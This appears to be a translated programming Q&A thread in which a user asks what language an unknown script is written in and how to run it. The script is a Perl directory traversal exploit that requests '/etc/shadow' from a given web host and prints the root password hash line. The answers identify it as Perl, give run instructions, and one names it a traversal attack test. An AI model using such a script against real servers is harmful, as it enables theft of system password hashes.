0

我这里有一个代码,但我不知道它是用什么语言编写的,以及如何运行它。

use LWP::UserAgent;
$host = $ARGV[0];
chomp($host);
if($host !~ /http:\/\//) { $host = "http://$host"; };

my $ua = LWP::UserAgent->new;
$ua->timeout(30);
$lfi = "/help/../../../../../../../../etc/shadow";
$url = $host.$lfi;
$request = HTTP::Request->new('GET', $url); $response =
$ua->request($request); my $html = $response->content; if($html =~ /root/) {
print "root$' \n" ; }
4

3 回答 3

1

对我来说看起来像 Perl。你试过了吗

perl thefile?

于 2013-01-08T16:56:41.530 回答
1

确定的 Perl。这是一个简单的脚本来“测试”网络服务器对目录遍历攻击: https ://en.wikipedia.org/wiki/Directory_traversal_attack

于 2013-01-08T17:02:22.837 回答
0

它看起来像 Perl。

在顶部添加一行:

#!/usr/bin/perl -w

然后chmod +x你就可以像运行任何程序一样运行它。

编辑:如果你在 Windows 上,你会想检查http://strawberryperl.com/

于 2013-01-08T16:57:25.600 回答